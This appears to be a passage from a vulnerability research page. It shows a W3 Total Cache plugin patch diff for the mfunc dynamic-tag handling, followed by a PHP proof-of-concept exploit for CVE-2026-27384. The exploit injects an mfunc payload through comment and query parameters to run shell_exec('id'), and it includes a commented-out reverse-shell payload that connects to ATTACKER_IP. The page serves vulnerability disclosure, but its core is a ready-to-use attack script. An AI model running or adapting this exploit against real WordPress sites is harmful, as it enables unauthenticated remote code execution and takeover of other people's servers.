-			'~<!--s*mfuncs*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--s*/mfuncs*' . W3TC_DYNAMIC_SECURITY . 's*-->~Uis',
+			'~<!--s*mfuncs+' . $security . '(.*)-->(.*)<!--s*/mfuncs+' . $security . 's*-->~Uis',
 			array(
 				$this,
 				'_parse_dynamic_mfunc',
@@ -2104,7 +2078,7 @@
 		);

 		$buffer = preg_replace_callback(
-			'~<!--s*mcludes*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--s*/mcludes*' . W3TC_DYNAMIC_SECURITY . 's*-->~Uis',
+			'~<!--s*mcludes+' . $security . '(.*)-->(.*)<!--s*/mcludes+' . $security . 's*-->~Uis',
 			array(
 				$this,
 				'_parse_dynamic_mclude',
@@ -2190,12 +2164,14 @@
 	 * @return bool True if dynamic tags are present, false otherwise.
 	 */
 	public function _has_dynamic( $buffer ) {
-		if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
+		if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
 			return false;
 		}

+		$security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+
 		return preg_match(
-			'~<!--s*m(func|clude)s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--s*/m(func|clude)s*' . W3TC_DYNAMIC_SECURITY . 's*-->~Uis',
+			'~<!--s*m(func|clude)s+' . $security . '(.*)-->(.*)<!--s*/m(func|clude)s+' . $security . 's*-->~Uis',
 			$buffer
 		);
 	}
@@ -2356,7 +2332,7 @@
 			$compressions_to_store = array( false );
 		}

-		// Right now dont return compressed buffer if we are dynamic that will happen on shutdown after processing dynamic stuff.
+		// For dynamic pages, return the unprocessed buffer so ob_callback can parse and compress it directly.
 		$compression_of_returned_content = ( $has_dynamic ? false : $compression_header );

 		$headers = $this->_get_cached_headers( $response_headers['plain'] );
--- a/w3-total-cache/SetupGuide_Plugin_Admin.php
+++ b/w3-total-cache/SetupGuide_Plugin_Admin.php
@@ -924,7 +924,7 @@
 	/**
 	 * Build the SQL statements used for database cache benchmarking.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param wpdb $wpdb WordPress database object.
 	 *
@@ -944,7 +944,7 @@
 	/**
 	 * Execute a repeatable set of read-heavy queries to measure cache performance.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param wpdb $wpdb       WordPress database object.
 	 * @param array $queries    List of SQL queries to execute.
@@ -967,7 +967,7 @@
 	/**
 	 * Clear runtime caches to reduce contamination between timed runs.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -982,7 +982,7 @@
 	/**
 	 * Clear dbcache reject state for the current request so tests can evaluate with fresh context.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -1015,7 +1015,7 @@
 	/**
 	 * Collect a set of post IDs to be used when benchmarking the object cache.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return array
 	 */
@@ -1047,7 +1047,7 @@
 	/**
 	 * Run a representative workload that should benefit from a persistent object cache.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $post_ids    IDs to request in the query.
 	 * @param string $payload_key Cache key used to check persistence.
@@ -1095,7 +1095,7 @@
 	/**
 	 * Clear runtime object cache data while preserving persistent stores when possible.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return string Which flush method was used.
 	 */
--- a/w3-total-cache/Util_PageSpeed.php
+++ b/w3-total-cache/Util_PageSpeed.php
@@ -670,7 +670,7 @@
 	/**
 	 * Render the specialized Network Dependency Tree insight.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $insight       Insight payload.
 	 * @param string $notice_class  Notice classes.
@@ -736,7 +736,7 @@
 	/**
 	 * Render the network chain list recursively.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $chains Chain list.
 	 *
@@ -759,7 +759,7 @@
 	/**
 	 * Render a single network chain node.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $node Node payload.
 	 *
@@ -818,7 +818,7 @@
 	/**
 	 * Render preconnect sections.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $section      Section payload.
 	 * @param string $default_name Fallback title.
@@ -856,7 +856,7 @@
 	/**
 	 * Render a nested table cell from headings + sub-items.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $headings Table headings.
 	 * @param array $rows     Table rows.
@@ -899,7 +899,7 @@
 	/**
 	 * Format a subitem value according to the heading definition.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $heading Heading definition.
 	 * @param array $row     Row data.
@@ -949,7 +949,7 @@
 	/**
 	 * Format a source-location value into HTML.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $source Source location payload.
 	 *
@@ -979,7 +979,7 @@
 	/**
 	 * Append the document latency status icon for qualifying rows.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $audit_id Audit identifier.
 	 * @param array  $item     Detail item.
@@ -1016,7 +1016,7 @@
 	/**
 	 * Format bytes into readable strings.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param int $bytes Byte value.
 	 *
--- a/w3-total-cache/vendor/composer/installed.php
+++ b/w3-total-cache/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'boldgrid/w3-total-cache',
-        'pretty_version' => '2.9.1',
-        'version' => '2.9.1.0',
-        'reference' => 'c885b8e9fd3834983818cbbc2e7881d8859c7efd',
+        'pretty_version' => '2.9.2',
+        'version' => '2.9.2.0',
+        'reference' => 'c94c7295e92553a8218201de93f4927b0ec56717',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'boldgrid/w3-total-cache' => array(
-            'pretty_version' => '2.9.1',
-            'version' => '2.9.1.0',
-            'reference' => 'c885b8e9fd3834983818cbbc2e7881d8859c7efd',
+            'pretty_version' => '2.9.2',
+            'version' => '2.9.2.0',
+            'reference' => 'c94c7295e92553a8218201de93f4927b0ec56717',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/w3-total-cache/w3-total-cache-api.php
+++ b/w3-total-cache/w3-total-cache-api.php
@@ -10,7 +10,7 @@
 defined( 'ABSPATH' ) || die;

 define( 'W3TC', true );
-define( 'W3TC_VERSION', '2.9.1' );
+define( 'W3TC_VERSION', '2.9.2' );
 define( 'W3TC_POWERED_BY', 'W3 Total Cache' );
 define( 'W3TC_EMAIL', 'w3tc@w3-edge.com' );
 define( 'W3TC_TEXT_DOMAIN', 'w3-total-cache' );
--- a/w3-total-cache/w3-total-cache.php
+++ b/w3-total-cache/w3-total-cache.php
@@ -3,7 +3,7 @@
  * Plugin Name:       W3 Total Cache
  * Plugin URI:        https://www.boldgrid.com/totalcache/
  * Description:       The highest rated and most complete WordPress performance plugin. Dramatically improve the speed and user experience of your site. Add browser, page, object and database caching as well as minify and content delivery network (CDN) to WordPress.
- * Version:           2.9.1
+ * Version:           2.9.2
  * Requires at least: 5.3
  * Requires PHP:      7.2.5
  * Author:            BoldGrid

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27384 - W3 Total Cache <= 2.9.1 - Unauthenticated Arbitrary Code Execution

<?php

$target_url = "http://target-wordpress-site.com/"; // CHANGE THIS

// Craft malicious mfunc tag with PHP code execution
// The '1' matches W3TC_DYNAMIC_SECURITY when set to default/insecure value
$payload = "<!-- mfunc 1 -->n$output = shell_exec('id');necho $output;n<!-- /mfunc 1 -->";

// Alternative payload for reverse shell (uncomment and modify as needed)
// $payload = "<!-- mfunc 1 -->n$sock=fsockopen('ATTACKER_IP',ATTACKER_PORT);nexec('/bin/sh -i <&3 >&3 2>&3');n<!-- /mfunc 1 -->";

// Set up the HTTP request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Inject payload in a POST parameter that gets reflected in cached content
// Many WordPress forms reflect user input - adjust parameter name as needed
$post_data = array(
    'comment' => $payload,
    'author' => 'attacker',
    'email' => 'attacker@example.com',
    'url' => 'http://evil.com',
    'submit' => 'Post Comment'
);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check if payload was executed
if (strpos($response, 'uid=') !== false) {
    echo "[+] Vulnerability confirmed! Command output found in response.n";
    
    // Extract and display command output
    $pattern = '/<!--s*mfuncs+1s*-->.*?<!--s*/mfuncs+1s*-->/s';
    if (preg_match($pattern, $response, $matches)) {
        echo "[+] Found executed code block.n";
    }
} else {
    echo "[-] No obvious command output found.n";
    echo "[-] HTTP Status: $http_coden";
    
    // Try alternative detection - look for error messages or unusual output
    if (strpos($response, 'Warning') !== false || strpos($response, 'Parse error') !== false) {
        echo "[!] PHP errors detected - vulnerability may be present but payload failed.n";
    }
}

curl_close($ch);

// Second test: Direct page access with payload in query string
// Some caching configurations reflect GET parameters
$ch = curl_init();
$test_url = $target_url . "?test_param=" . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch);
curl_close($ch);

if (strpos($response2, 'uid=') !== false) {
    echo "[+] GET-based exploitation successful!n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School